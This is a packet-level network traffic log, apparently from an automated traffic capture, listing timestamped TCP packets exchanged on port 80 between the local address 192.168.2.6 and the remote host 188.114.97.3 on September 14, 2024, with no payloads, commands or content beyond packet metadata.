Sep 14, 2024 18:44:13.481205940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481271029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481482029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481509924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481528997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481547117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481564999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481575012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481584072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481597900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481601954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481620073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481631994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481637955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481657028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481674910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481687069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481693983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481712103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481720924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481729984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481744051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481749058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481767893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481781960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481782913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481801033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481817961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481820107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481856108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482394934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482414961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482433081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482451916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482462883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482481003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482495070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482510090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482528925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482532978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482547045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482582092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482615948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482635975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482652903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482665062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482671022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482687950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482700109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482707977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482726097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482739925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482744932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482764006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.482773066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.482810020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542175055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542207956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542258024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542290926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542323112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542355061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542388916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542413950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542413950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542450905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542571068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542603970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542637110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542640924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542670012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542695045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542701960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542735100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542757988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542767048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542794943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542828083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542839050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542881966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.542891026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.542990923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543021917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543055058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.543056965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543088913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543122053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543127060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.543175936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.543267012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543299913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543332100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543359041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.543364048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543416977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543440104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.543448925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543482065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.543505907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.558907032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.558959007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.558970928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.558976889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559111118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559122086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559133053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559144974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559154034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559185982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559221029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559261084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559272051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559283018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559294939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559324026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559351921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559407949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559550047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559561968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559571981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559582949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559602022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559608936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559612036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559623957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559653044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559706926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559875965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559886932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559906006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559916973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559928894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559930086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.559941053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559952021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.559978962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.560029984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.560234070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560245037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560256004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560267925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560277939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560288906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560296059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.560300112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560311079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560313940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.560328007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560339928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560349941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.560391903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.560700893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560762882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.560961008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560971975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.560991049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561002016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561012983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561018944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561022997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561041117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561052084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561063051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561064959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561074018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561084986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561095953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561103106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561106920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561116934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561121941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561129093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561141014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561144114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561152935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561163902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561183929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561203003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561857939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561870098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561880112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561891079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561902046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561912060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561912060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561923027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561933994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561944962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561955929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561965942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561978102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561976910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.561989069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.561999083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562010050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562021017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562024117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.562032938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562043905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562073946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.562099934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.562753916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562768936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562779903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562789917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562799931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562812090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562820911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562827110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.562832117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562843084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562855005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562865973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.562866926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.562900066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.562928915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.630640030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630696058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630729914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630780935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630812883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630845070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630861998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.630861998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.630878925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630898952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.630914927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.630969048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631051064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631083012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631118059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631134033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631151915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631186008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631213903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631329060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631361961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631427050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631458998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631459951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631479025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631493092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631524086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631546974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631633997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631665945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631697893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631697893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631731987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631757975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631764889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631797075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631829977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631834030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631863117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631885052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.631895065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631927967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.631947041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.647655010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647682905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647696018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647706032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647717953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647731066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647743940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647749901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.647845984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647859097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647870064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647881031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647897005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.647917986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.647917986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.647917986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.647962093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648108959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648159981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648175955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648195982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648231983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648263931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648273945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648297071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648319960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648330927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648365021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648385048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648400068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648432970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648446083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648613930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648647070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648670912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648679972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648714066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648732901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648747921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648780107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648812056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648813963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648845911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648859024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648879051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648910999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648926020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.648946047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.648998976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649029970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649064064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649110079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649174929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649209023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649239063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649270058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649271011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649303913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649317980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649338007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649370909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649383068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649405003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649437904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649461031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649471045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649504900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649518013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649535894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649569035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649588108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.649858952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649892092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.649914980 CEST	49722	80	192.168.2.6	188.114.97.3
